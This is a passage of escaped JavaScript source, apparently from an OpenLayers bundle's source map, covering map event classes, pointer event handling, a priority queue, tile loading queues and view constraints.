b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/MapEvent\n */\nimport Event from './events/Event.js';\n/**\n * @classdesc\n * Events emitted as map events are instances of this type.\n * See {@link module:ol/PluggableMap~PluggableMap} for which events trigger a map event.\n */\nvar MapEvent = /** @class */ (function (_super) {\n __extends(MapEvent, _super);\n /**\n * @param {string} type Event type.\n * @param {import(\"./PluggableMap.js\").default} map Map.\n * @param {?import(\"./PluggableMap.js\").FrameState} [opt_frameState] Frame state.\n */\n function MapEvent(type, map, opt_frameState) {\n var _this = _super.call(this, type) || this;\n /**\n * The map where the event occurred.\n * @type {import(\"./PluggableMap.js\").default}\n * @api\n */\n _this.map = map;\n /**\n * The frame state at the time of the event.\n * @type {?import(\"./PluggableMap.js\").FrameState}\n * @api\n */\n _this.frameState = opt_frameState !== undefined ? opt_frameState : null;\n return _this;\n }\n return MapEvent;\n}(Event));\nexport default MapEvent;\n//# sourceMappingURL=MapEvent.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/MapBrowserEvent\n */\nimport MapEvent from './MapEvent.js';\n/**\n * @classdesc\n * Events emitted as map browser events are instances of this type.\n * See {@link module:ol/PluggableMap~PluggableMap} for which events trigger a map browser event.\n * @template {UIEvent} EVENT\n */\nvar MapBrowserEvent = /** @class */ (function (_super) {\n __extends(MapBrowserEvent, _super);\n /**\n * @param {string} type Event type.\n * @param {import(\"./PluggableMap.js\").default} map Map.\n * @param {EVENT} originalEvent Original event.\n * @param {boolean} [opt_dragging] Is the map currently being dragged?\n * @param {import(\"./PluggableMap.js\").FrameState} [opt_frameState] Frame state.\n * @param {Array<PointerEvent>} [opt_activePointers] Active pointers.\n */\n function MapBrowserEvent(type, map, originalEvent, opt_dragging, opt_frameState, opt_activePointers) {\n var _this = _super.call(this, type, map, opt_frameState) || this;\n /**\n * The original browser event.\n * @const\n * @type {EVENT}\n * @api\n */\n _this.originalEvent = originalEvent;\n /**\n * The map pixel relative to the viewport corresponding to the original browser event.\n * @type {?import(\"./pixel.js\").Pixel}\n */\n _this.pixel_ = null;\n /**\n * The coordinate in the user projection corresponding to the original browser event.\n * @type {?import(\"./coordinate.js\").Coordinate}\n */\n _this.coordinate_ = null;\n /**\n * Indicates if the map is currently being dragged. Only set for\n * `POINTERDRAG` and `POINTERMOVE` events. Default is `false`.\n *\n * @type {boolean}\n * @api\n */\n _this.dragging = opt_dragging !== undefined ? opt_dragging : false;\n /**\n * @type {Array<PointerEvent>|undefined}\n */\n _this.activePointers = opt_activePointers;\n return _this;\n }\n Object.defineProperty(MapBrowserEvent.prototype, \"pixel\", {\n /**\n * The map pixel relative to the viewport corresponding to the original event.\n * @type {import(\"./pixel.js\").Pixel}\n * @api\n */\n get: function () {\n if (!this.pixel_) {\n this.pixel_ = this.map.getEventPixel(this.originalEvent);\n }\n return this.pixel_;\n },\n set: function (pixel) {\n this.pixel_ = pixel;\n },\n enumerable: false,\n configurable: true\n });\n Object.defineProperty(MapBrowserEvent.prototype, \"coordinate\", {\n /**\n * The coordinate corresponding to the original browser event. This will be in the user\n * projection if one is set. Otherwise it will be in the view projection.\n * @type {import(\"./coordinate.js\").Coordinate}\n * @api\n */\n get: function () {\n if (!this.coordinate_) {\n this.coordinate_ = this.map.getCoordinateFromPixel(this.pixel);\n }\n return this.coordinate_;\n },\n set: function (coordinate) {\n this.coordinate_ = coordinate;\n },\n enumerable: false,\n configurable: true\n });\n /**\n * Prevents the default browser action.\n * See https://developer.mozilla.org/en-US/docs/Web/API/event.preventDefault.\n * @api\n */\n MapBrowserEvent.prototype.preventDefault = function () {\n _super.prototype.preventDefault.call(this);\n if ('preventDefault' in this.originalEvent) {\n /** @type {UIEvent} */ (this.originalEvent).preventDefault();\n }\n };\n /**\n * Prevents further propagation of the current event.\n * See https://developer.mozilla.org/en-US/docs/Web/API/event.stopPropagation.\n * @api\n */\n MapBrowserEvent.prototype.stopPropagation = function () {\n _super.prototype.stopPropagation.call(this);\n if ('stopPropagation' in this.originalEvent) {\n /** @type {UIEvent} */ (this.originalEvent).stopPropagation();\n }\n };\n return MapBrowserEvent;\n}(MapEvent));\nexport default MapBrowserEvent;\n//# sourceMappingURL=MapBrowserEvent.js.map","/**\n * @module ol/MapBrowserEventType\n */\nimport EventType from './events/EventType.js';\n/**\n * Constants for event names.\n * @enum {string}\n */\nexport default {\n /**\n * A true single click with no dragging and no double click. Note that this\n * event is delayed by 250 ms to ensure that it is not a double click.\n * @event module:ol/MapBrowserEvent~MapBrowserEvent#singleclick\n * @api\n */\n SINGLECLICK: 'singleclick',\n /**\n * A click with no dragging. A double click will fire two of this.\n * @event module:ol/MapBrowserEvent~MapBrowserEvent#click\n * @api\n */\n CLICK: EventType.CLICK,\n /**\n * A true double click, with no dragging.\n * @event module:ol/MapBrowserEvent~MapBrowserEvent#dblclick\n * @api\n */\n DBLCLICK: EventType.DBLCLICK,\n /**\n * Triggered when a pointer is dragged.\n * @event module:ol/MapBrowserEvent~MapBrowserEvent#pointerdrag\n * @api\n */\n POINTERDRAG: 'pointerdrag',\n /**\n * Triggered when a pointer is moved. Note that on touch devices this is\n * triggered when the map is panned, so is not the same as mousemove.\n * @event module:ol/MapBrowserEvent~MapBrowserEvent#pointermove\n * @api\n */\n POINTERMOVE: 'pointermove',\n POINTERDOWN: 'pointerdown',\n POINTERUP: 'pointerup',\n POINTEROVER: 'pointerover',\n POINTEROUT: 'pointerout',\n POINTERENTER: 'pointerenter',\n POINTERLEAVE: 'pointerleave',\n POINTERCANCEL: 'pointercancel',\n};\n/***\n * @typedef {'singleclick'|'click'|'dblclick'|'pointerdrag'|'pointermove'} Types\n */\n//# sourceMappingURL=MapBrowserEventType.js.map","/**\n * @module ol/MapBrowserEventHandler\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport EventType from './events/EventType.js';\nimport MapBrowserEvent from './MapBrowserEvent.js';\nimport MapBrowserEventType from './MapBrowserEventType.js';\nimport PointerEventType from './pointer/EventType.js';\nimport Target from './events/Target.js';\nimport { PASSIVE_EVENT_LISTENERS } from './has.js';\nimport { VOID } from './functions.js';\nimport { getValues } from './obj.js';\nimport { listen, unlistenByKey } from './events.js';\nvar MapBrowserEventHandler = /** @class */ (function (_super) {\n __extends(MapBrowserEventHandler, _super);\n /**\n * @param {import(\"./PluggableMap.js\").default} map The map with the viewport to listen to events on.\n * @param {number} [moveTolerance] The minimal distance the pointer must travel to trigger a move.\n */\n function MapBrowserEventHandler(map, moveTolerance) {\n var _this = _super.call(this, map) || this;\n /**\n * This is the element that we will listen to the real events on.\n * @type {import(\"./PluggableMap.js\").default}\n * @private\n */\n _this.map_ = map;\n /**\n * @type {any}\n * @private\n */\n _this.clickTimeoutId_;\n /**\n * Emulate dblclick and singleclick. Will be true when only one pointer is active.\n * @type {boolean}\n */\n _this.emulateClicks_ = false;\n /**\n * @type {boolean}\n * @private\n */\n _this.dragging_ = false;\n /**\n * @type {!Array<import(\"./events.js\").EventsKey>}\n * @private\n */\n _this.dragListenerKeys_ = [];\n /**\n * @type {number}\n * @private\n */\n _this.moveTolerance_ = moveTolerance === undefined ? 1 : moveTolerance;\n /**\n * The most recent \"down\" type event (or null if none have occurred).\n * Set on pointerdown.\n * @type {PointerEvent|null}\n * @private\n */\n _this.down_ = null;\n var element = _this.map_.getViewport();\n /**\n * @type {Array<PointerEvent>}\n * @private\n */\n _this.activePointers_ = [];\n /**\n * @type {!Object<number, Event>}\n * @private\n */\n _this.trackedTouches_ = {};\n _this.element_ = element;\n /**\n * @type {?import(\"./events.js\").EventsKey}\n * @private\n */\n _this.pointerdownListenerKey_ = listen(element, PointerEventType.POINTERDOWN, _this.handlePointerDown_, _this);\n /**\n * @type {PointerEvent}\n * @private\n */\n _this.originalPointerMoveEvent_;\n /**\n * @type {?import(\"./events.js\").EventsKey}\n * @private\n */\n _this.relayedListenerKey_ = listen(element, PointerEventType.POINTERMOVE, _this.relayMoveEvent_, _this);\n /**\n * @private\n */\n _this.boundHandleTouchMove_ = _this.handleTouchMove_.bind(_this);\n _this.element_.addEventListener(EventType.TOUCHMOVE, _this.boundHandleTouchMove_, PASSIVE_EVENT_LISTENERS ? { passive: false } : false);\n return _this;\n }\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.emulateClick_ = function (pointerEvent) {\n var newEvent = new MapBrowserEvent(MapBrowserEventType.CLICK, this.map_, pointerEvent);\n this.dispatchEvent(newEvent);\n if (this.clickTimeoutId_ !== undefined) {\n // double-click\n clearTimeout(this.clickTimeoutId_);\n this.clickTimeoutId_ = undefined;\n newEvent = new MapBrowserEvent(MapBrowserEventType.DBLCLICK, this.map_, pointerEvent);\n this.dispatchEvent(newEvent);\n }\n else {\n // click\n this.clickTimeoutId_ = setTimeout(\n /** @this {MapBrowserEventHandler} */\n function () {\n this.clickTimeoutId_ = undefined;\n var newEvent = new MapBrowserEvent(MapBrowserEventType.SINGLECLICK, this.map_, pointerEvent);\n this.dispatchEvent(newEvent);\n }.bind(this), 250);\n }\n };\n /**\n * Keeps track on how many pointers are currently active.\n *\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.updateActivePointers_ = function (pointerEvent) {\n var event = pointerEvent;\n var id = event.pointerId;\n if (event.type == MapBrowserEventType.POINTERUP ||\n event.type == MapBrowserEventType.POINTERCANCEL) {\n delete this.trackedTouches_[id];\n for (var pointerId in this.trackedTouches_) {\n if (this.trackedTouches_[pointerId].target !== event.target) {\n // Some platforms assign a new pointerId when the target changes.\n // If this happens, delete one tracked pointer. If there is more\n // than one tracked pointer for the old target, it will be cleared\n // by subsequent POINTERUP events from other pointers.\n delete this.trackedTouches_[pointerId];\n break;\n }\n }\n }\n else if (event.type == MapBrowserEventType.POINTERDOWN ||\n event.type == MapBrowserEventType.POINTERMOVE) {\n this.trackedTouches_[id] = event;\n }\n this.activePointers_ = getValues(this.trackedTouches_);\n };\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.handlePointerUp_ = function (pointerEvent) {\n this.updateActivePointers_(pointerEvent);\n var newEvent = new MapBrowserEvent(MapBrowserEventType.POINTERUP, this.map_, pointerEvent, undefined, undefined, this.activePointers_);\n this.dispatchEvent(newEvent);\n // We emulate click events on left mouse button click, touch contact, and pen\n // contact. isMouseActionButton returns true in these cases (evt.button is set\n // to 0).\n // See http://www.w3.org/TR/pointerevents/#button-states\n // We only fire click, singleclick, and doubleclick if nobody has called\n // event.preventDefault().\n if (this.emulateClicks_ &&\n !newEvent.defaultPrevented &&\n !this.dragging_ &&\n this.isMouseActionButton_(pointerEvent)) {\n this.emulateClick_(this.down_);\n }\n if (this.activePointers_.length === 0) {\n this.dragListenerKeys_.forEach(unlistenByKey);\n this.dragListenerKeys_.length = 0;\n this.dragging_ = false;\n this.down_ = null;\n }\n };\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @return {boolean} If the left mouse button was pressed.\n * @private\n */\n MapBrowserEventHandler.prototype.isMouseActionButton_ = function (pointerEvent) {\n return pointerEvent.button === 0;\n };\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.handlePointerDown_ = function (pointerEvent) {\n this.emulateClicks_ = this.activePointers_.length === 0;\n this.updateActivePointers_(pointerEvent);\n var newEvent = new MapBrowserEvent(MapBrowserEventType.POINTERDOWN, this.map_, pointerEvent, undefined, undefined, this.activePointers_);\n this.dispatchEvent(newEvent);\n // Store a copy of the down event\n this.down_ = /** @type {PointerEvent} */ ({});\n for (var property in pointerEvent) {\n var value = pointerEvent[property];\n this.down_[property] = typeof value === 'function' ? VOID : value;\n }\n if (this.dragListenerKeys_.length === 0) {\n var doc = this.map_.getOwnerDocument();\n this.dragListenerKeys_.push(listen(doc, MapBrowserEventType.POINTERMOVE, this.handlePointerMove_, this), listen(doc, MapBrowserEventType.POINTERUP, this.handlePointerUp_, this), \n /* Note that the listener for `pointercancel is set up on\n * `pointerEventHandler_` and not `documentPointerEventHandler_` like\n * the `pointerup` and `pointermove` listeners.\n *\n * The reason for this is the following: `TouchSource.vacuumTouches_()`\n * issues `pointercancel` events, when there was no `touchend` for a\n * `touchstart`. Now, let's say a first `touchstart` is registered on\n * `pointerEventHandler_`. The `documentPointerEventHandler_` is set up.\n * But `documentPointerEventHandler_` doesn't know about the first\n * `touchstart`. If there is no `touchend` for the `touchstart`, we can\n * only receive a `touchcancel` from `pointerEventHandler_`, because it is\n * only registered there.\n */\n listen(this.element_, MapBrowserEventType.POINTERCANCEL, this.handlePointerUp_, this));\n if (this.element_.getRootNode && this.element_.getRootNode() !== doc) {\n this.dragListenerKeys_.push(listen(this.element_.getRootNode(), MapBrowserEventType.POINTERUP, this.handlePointerUp_, this));\n }\n }\n };\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.handlePointerMove_ = function (pointerEvent) {\n // Between pointerdown and pointerup, pointermove events are triggered.\n // To avoid a 'false' touchmove event to be dispatched, we test if the pointer\n // moved a significant distance.\n if (this.isMoving_(pointerEvent)) {\n this.updateActivePointers_(pointerEvent);\n this.dragging_ = true;\n var newEvent = new MapBrowserEvent(MapBrowserEventType.POINTERDRAG, this.map_, pointerEvent, this.dragging_, undefined, this.activePointers_);\n this.dispatchEvent(newEvent);\n }\n };\n /**\n * Wrap and relay a pointermove event.\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @private\n */\n MapBrowserEventHandler.prototype.relayMoveEvent_ = function (pointerEvent) {\n this.originalPointerMoveEvent_ = pointerEvent;\n var dragging = !!(this.down_ && this.isMoving_(pointerEvent));\n this.dispatchEvent(new MapBrowserEvent(MapBrowserEventType.POINTERMOVE, this.map_, pointerEvent, dragging));\n };\n /**\n * Flexible handling of a `touch-action: none` css equivalent: because calling\n * `preventDefault()` on a `pointermove` event does not stop native page scrolling\n * and zooming, we also listen for `touchmove` and call `preventDefault()` on it\n * when an interaction (currently `DragPan` handles the event.\n * @param {TouchEvent} event Event.\n * @private\n */\n MapBrowserEventHandler.prototype.handleTouchMove_ = function (event) {\n // Due to https://github.com/mpizenberg/elm-pep/issues/2, `this.originalPointerMoveEvent_`\n // may not be initialized yet when we get here on a platform without native pointer events.\n var originalEvent = this.originalPointerMoveEvent_;\n if ((!originalEvent || originalEvent.defaultPrevented) &&\n (typeof event.cancelable !== 'boolean' || event.cancelable === true)) {\n event.preventDefault();\n }\n };\n /**\n * @param {PointerEvent} pointerEvent Pointer\n * event.\n * @return {boolean} Is moving.\n * @private\n */\n MapBrowserEventHandler.prototype.isMoving_ = function (pointerEvent) {\n return (this.dragging_ ||\n Math.abs(pointerEvent.clientX - this.down_.clientX) >\n this.moveTolerance_ ||\n Math.abs(pointerEvent.clientY - this.down_.clientY) > this.moveTolerance_);\n };\n /**\n * Clean up.\n */\n MapBrowserEventHandler.prototype.disposeInternal = function () {\n if (this.relayedListenerKey_) {\n unlistenByKey(this.relayedListenerKey_);\n this.relayedListenerKey_ = null;\n }\n this.element_.removeEventListener(EventType.TOUCHMOVE, this.boundHandleTouchMove_);\n if (this.pointerdownListenerKey_) {\n unlistenByKey(this.pointerdownListenerKey_);\n this.pointerdownListenerKey_ = null;\n }\n this.dragListenerKeys_.forEach(unlistenByKey);\n this.dragListenerKeys_.length = 0;\n this.element_ = null;\n _super.prototype.disposeInternal.call(this);\n };\n return MapBrowserEventHandler;\n}(Target));\nexport default MapBrowserEventHandler;\n//# sourceMappingURL=MapBrowserEventHandler.js.map","/**\n * @module ol/MapProperty\n */\n/**\n * @enum {string}\n */\nexport default {\n LAYERGROUP: 'layergroup',\n SIZE: 'size',\n TARGET: 'target',\n VIEW: 'view',\n};\n//# sourceMappingURL=MapProperty.js.map","/**\n * @module ol/structs/PriorityQueue\n */\nimport { assert } from '../asserts.js';\nimport { clear } from '../obj.js';\n/**\n * @type {number}\n */\nexport var DROP = Infinity;\n/**\n * @classdesc\n * Priority queue.\n *\n * The implementation is inspired from the Closure Library's Heap class and\n * Python's heapq module.\n *\n * See https://github.com/google/closure-library/blob/master/closure/goog/structs/heap.js\n * and https://hg.python.org/cpython/file/2.7/Lib/heapq.py.\n *\n * @template T\n */\nvar PriorityQueue = /** @class */ (function () {\n /**\n * @param {function(T): number} priorityFunction Priority function.\n * @param {function(T): string} keyFunction Key function.\n */\n function PriorityQueue(priorityFunction, keyFunction) {\n /**\n * @type {function(T): number}\n * @private\n */\n this.priorityFunction_ = priorityFunction;\n /**\n * @type {function(T): string}\n * @private\n */\n this.keyFunction_ = keyFunction;\n /**\n * @type {Array<T>}\n * @private\n */\n this.elements_ = [];\n /**\n * @type {Array<number>}\n * @private\n */\n this.priorities_ = [];\n /**\n * @type {!Object<string, boolean>}\n * @private\n */\n this.queuedElements_ = {};\n }\n /**\n * FIXME empty description for jsdoc\n */\n PriorityQueue.prototype.clear = function () {\n this.elements_.length = 0;\n this.priorities_.length = 0;\n clear(this.queuedElements_);\n };\n /**\n * Remove and return the highest-priority element. O(log N).\n * @return {T} Element.\n */\n PriorityQueue.prototype.dequeue = function () {\n var elements = this.elements_;\n var priorities = this.priorities_;\n var element = elements[0];\n if (elements.length == 1) {\n elements.length = 0;\n priorities.length = 0;\n }\n else {\n elements[0] = elements.pop();\n priorities[0] = priorities.pop();\n this.siftUp_(0);\n }\n var elementKey = this.keyFunction_(element);\n delete this.queuedElements_[elementKey];\n return element;\n };\n /**\n * Enqueue an element. O(log N).\n * @param {T} element Element.\n * @return {boolean} The element was added to the queue.\n */\n PriorityQueue.prototype.enqueue = function (element) {\n assert(!(this.keyFunction_(element) in this.queuedElements_), 31); // Tried to enqueue an `element` that was already added to the queue\n var priority = this.priorityFunction_(element);\n if (priority != DROP) {\n this.elements_.push(element);\n this.priorities_.push(priority);\n this.queuedElements_[this.keyFunction_(element)] = true;\n this.siftDown_(0, this.elements_.length - 1);\n return true;\n }\n return false;\n };\n /**\n * @return {number} Count.\n */\n PriorityQueue.prototype.getCount = function () {\n return this.elements_.length;\n };\n /**\n * Gets the index of the left child of the node at the given index.\n * @param {number} index The index of the node to get the left child for.\n * @return {number} The index of the left child.\n * @private\n */\n PriorityQueue.prototype.getLeftChildIndex_ = function (index) {\n return index * 2 + 1;\n };\n /**\n * Gets the index of the right child of the node at the given index.\n * @param {number} index The index of the node to get the right child for.\n * @return {number} The index of the right child.\n * @private\n */\n PriorityQueue.prototype.getRightChildIndex_ = function (index) {\n return index * 2 + 2;\n };\n /**\n * Gets the index of the parent of the node at the given index.\n * @param {number} index The index of the node to get the parent for.\n * @return {number} The index of the parent.\n * @private\n */\n PriorityQueue.prototype.getParentIndex_ = function (index) {\n return (index - 1) >> 1;\n };\n /**\n * Make this a heap. O(N).\n * @private\n */\n PriorityQueue.prototype.heapify_ = function () {\n var i;\n for (i = (this.elements_.length >> 1) - 1; i >= 0; i--) {\n this.siftUp_(i);\n }\n };\n /**\n * @return {boolean} Is empty.\n */\n PriorityQueue.prototype.isEmpty = function () {\n return this.elements_.length === 0;\n };\n /**\n * @param {string} key Key.\n * @return {boolean} Is key queued.\n */\n PriorityQueue.prototype.isKeyQueued = function (key) {\n return key in this.queuedElements_;\n };\n /**\n * @param {T} element Element.\n * @return {boolean} Is queued.\n */\n PriorityQueue.prototype.isQueued = function (element) {\n return this.isKeyQueued(this.keyFunction_(element));\n };\n /**\n * @param {number} index The index of the node to move down.\n * @private\n */\n PriorityQueue.prototype.siftUp_ = function (index) {\n var elements = this.elements_;\n var priorities = this.priorities_;\n var count = elements.length;\n var element = elements[index];\n var priority = priorities[index];\n var startIndex = index;\n while (index < count >> 1) {\n var lIndex = this.getLeftChildIndex_(index);\n var rIndex = this.getRightChildIndex_(index);\n var smallerChildIndex = rIndex < count && priorities[rIndex] < priorities[lIndex]\n ? rIndex\n : lIndex;\n elements[index] = elements[smallerChildIndex];\n priorities[index] = priorities[smallerChildIndex];\n index = smallerChildIndex;\n }\n elements[index] = element;\n priorities[index] = priority;\n this.siftDown_(startIndex, index);\n };\n /**\n * @param {number} startIndex The index of the root.\n * @param {number} index The index of the node to move up.\n * @private\n */\n PriorityQueue.prototype.siftDown_ = function (startIndex, index) {\n var elements = this.elements_;\n var priorities = this.priorities_;\n var element = elements[index];\n var priority = priorities[index];\n while (index > startIndex) {\n var parentIndex = this.getParentIndex_(index);\n if (priorities[parentIndex] > priority) {\n elements[index] = elements[parentIndex];\n priorities[index] = priorities[parentIndex];\n index = parentIndex;\n }\n else {\n break;\n }\n }\n elements[index] = element;\n priorities[index] = priority;\n };\n /**\n * FIXME empty description for jsdoc\n */\n PriorityQueue.prototype.reprioritize = function () {\n var priorityFunction = this.priorityFunction_;\n var elements = this.elements_;\n var priorities = this.priorities_;\n var index = 0;\n var n = elements.length;\n var element, i, priority;\n for (i = 0; i < n; ++i) {\n element = elements[i];\n priority = priorityFunction(element);\n if (priority == DROP) {\n delete this.queuedElements_[this.keyFunction_(element)];\n }\n else {\n priorities[index] = priority;\n elements[index++] = element;\n }\n }\n elements.length = index;\n priorities.length = index;\n this.heapify_();\n };\n return PriorityQueue;\n}());\nexport default PriorityQueue;\n//# sourceMappingURL=PriorityQueue.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/TileQueue\n */\nimport EventType from './events/EventType.js';\nimport PriorityQueue, { DROP } from './structs/PriorityQueue.js';\nimport TileState from './TileState.js';\n/**\n * @typedef {function(import(\"./Tile.js\").default, string, import(\"./coordinate.js\").Coordinate, number): number} PriorityFunction\n */\nvar TileQueue = /** @class */ (function (_super) {\n __extends(TileQueue, _super);\n /**\n * @param {PriorityFunction} tilePriorityFunction Tile priority function.\n * @param {function(): ?} tileChangeCallback Function called on each tile change event.\n */\n function TileQueue(tilePriorityFunction, tileChangeCallback) {\n var _this = _super.call(this, \n /**\n * @param {Array} element Element.\n * @return {number} Priority.\n */\n function (element) {\n return tilePriorityFunction.apply(null, element);\n }, \n /**\n * @param {Array} element Element.\n * @return {string} Key.\n */\n function (element) {\n return /** @type {import(\"./Tile.js\").default} */ (element[0]).getKey();\n }) || this;\n /** @private */\n _this.boundHandleTileChange_ = _this.handleTileChange.bind(_this);\n /**\n * @private\n * @type {function(): ?}\n */\n _this.tileChangeCallback_ = tileChangeCallback;\n /**\n * @private\n * @type {number}\n */\n _this.tilesLoading_ = 0;\n /**\n * @private\n * @type {!Object<string,boolean>}\n */\n _this.tilesLoadingKeys_ = {};\n return _this;\n }\n /**\n * @param {Array} element Element.\n * @return {boolean} The element was added to the queue.\n */\n TileQueue.prototype.enqueue = function (element) {\n var added = _super.prototype.enqueue.call(this, element);\n if (added) {\n var tile = element[0];\n tile.addEventListener(EventType.CHANGE, this.boundHandleTileChange_);\n }\n return added;\n };\n /**\n * @return {number} Number of tiles loading.\n */\n TileQueue.prototype.getTilesLoading = function () {\n return this.tilesLoading_;\n };\n /**\n * @param {import(\"./events/Event.js\").default} event Event.\n * @protected\n */\n TileQueue.prototype.handleTileChange = function (event) {\n var tile = /** @type {import(\"./Tile.js\").default} */ (event.target);\n var state = tile.getState();\n if (state === TileState.LOADED ||\n state === TileState.ERROR ||\n state === TileState.EMPTY) {\n tile.removeEventListener(EventType.CHANGE, this.boundHandleTileChange_);\n var tileKey = tile.getKey();\n if (tileKey in this.tilesLoadingKeys_) {\n delete this.tilesLoadingKeys_[tileKey];\n --this.tilesLoading_;\n }\n this.tileChangeCallback_();\n }\n };\n /**\n * @param {number} maxTotalLoading Maximum number tiles to load simultaneously.\n * @param {number} maxNewLoads Maximum number of new tiles to load.\n */\n TileQueue.prototype.loadMoreTiles = function (maxTotalLoading, maxNewLoads) {\n var newLoads = 0;\n var state, tile, tileKey;\n while (this.tilesLoading_ < maxTotalLoading &&\n newLoads < maxNewLoads &&\n this.getCount() > 0) {\n tile = /** @type {import(\"./Tile.js\").default} */ (this.dequeue()[0]);\n tileKey = tile.getKey();\n state = tile.getState();\n if (state === TileState.IDLE && !(tileKey in this.tilesLoadingKeys_)) {\n this.tilesLoadingKeys_[tileKey] = true;\n ++this.tilesLoading_;\n ++newLoads;\n tile.load();\n }\n }\n };\n return TileQueue;\n}(PriorityQueue));\nexport default TileQueue;\n/**\n * @param {import('./PluggableMap.js').FrameState} frameState Frame state.\n * @param {import(\"./Tile.js\").default} tile Tile.\n * @param {string} tileSourceKey Tile source key.\n * @param {import(\"./coordinate.js\").Coordinate} tileCenter Tile center.\n * @param {number} tileResolution Tile resolution.\n * @return {number} Tile priority.\n */\nexport function getTilePriority(frameState, tile, tileSourceKey, tileCenter, tileResolution) {\n // Filter out tiles at higher zoom levels than the current zoom level, or that\n // are outside the visible extent.\n if (!frameState || !(tileSourceKey in frameState.wantedTiles)) {\n return DROP;\n }\n if (!frameState.wantedTiles[tileSourceKey][tile.getKey()]) {\n return DROP;\n }\n // Prioritize the highest zoom level tiles closest to the focus.\n // Tiles at higher zoom levels are prioritized using Math.log(tileResolution).\n // Within a zoom level, tiles are prioritized by the distance in pixels between\n // the center of the tile and the center of the viewport. The factor of 65536\n // means that the prioritization should behave as desired for tiles up to\n // 65536 * Math.log(2) = 45426 pixels from the focus.\n var center = frameState.viewState.center;\n var deltaX = tileCenter[0] - center[0];\n var deltaY = tileCenter[1] - center[1];\n return (65536 * Math.log(tileResolution) +\n Math.sqrt(deltaX * deltaX + deltaY * deltaY) / tileResolution);\n}\n//# sourceMappingURL=TileQueue.js.map","/**\n * @module ol/ViewProperty\n */\n/**\n * @enum {string}\n */\nexport default {\n CENTER: 'center',\n RESOLUTION: 'resolution',\n ROTATION: 'rotation',\n};\n//# sourceMappingURL=ViewProperty.js.map","/**\n * @module ol/centerconstraint\n */\nimport { clamp } from './math.js';\n/**\n * @typedef {function((import(\"./coordinate.js\").Coordinate|undefined), number, import(\"./size.js\").Size, boolean=, Array<number>=): (import(\"./coordinate.js\").Coordinate|undefined)} Type\n */\n/**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {boolean} onlyCenter If true, the constraint will only apply to the view center.\n * @param {boolean} smooth If true, the view will be able to go slightly out of the given extent\n * (only during interaction and animation).\n * @return {Type} The constraint.\n */\nexport function createExtent(extent, onlyCenter, smooth) {\n return (\n /**\n * @param {import(\"./coordinate.js\").Coordinate|undefined} center Center.\n * @param {number|undefined} resolution Resolution.\n * @param {import(\"./size.js\").Size} size Viewport size; unused if `onlyCenter` was specified.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @param {Array<number>} [opt_centerShift] Shift between map center and viewport center.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} Center.\n */\n function (center, resolution, size, opt_isMoving, opt_centerShift) {\n if (!center) {\n return undefined;\n }\n if (!resolution && !onlyCenter) {\n return center;\n }\n var viewWidth = onlyCenter ? 0 : size[0] * resolution;\n var viewHeight = onlyCenter ? 0 : size[1] * resolution;\n var shiftX = opt_centerShift ? opt_centerShift[0] : 0;\n var shiftY = opt_centerShift ? opt_centerShift[1] : 0;\n var minX = extent[0] + viewWidth / 2 + shiftX;\n var maxX = extent[2] - viewWidth / 2 + shiftX;\n var minY = extent[1] + viewHeight / 2 + shiftY;\n var maxY = extent[3] - viewHeight / 2 + shiftY;\n // note: when zooming out of bounds, min and max values for x and y may\n // end up inverted (min > max); this has to be accounted for\n if (minX > maxX) {\n minX = (maxX + minX) / 2;\n maxX = minX;\n }\n if (minY > maxY) {\n minY = (maxY + minY) / 2;\n maxY = minY;\n }\n var x = clamp(center[0], minX, maxX);\n var y = clamp(center[1], minY, maxY);\n // during an interaction, allow some overscroll\n if (opt_isMoving && smooth && resolution) {\n var ratio = 30 * resolution;\n x +=\n -ratio * Math.log(1 + 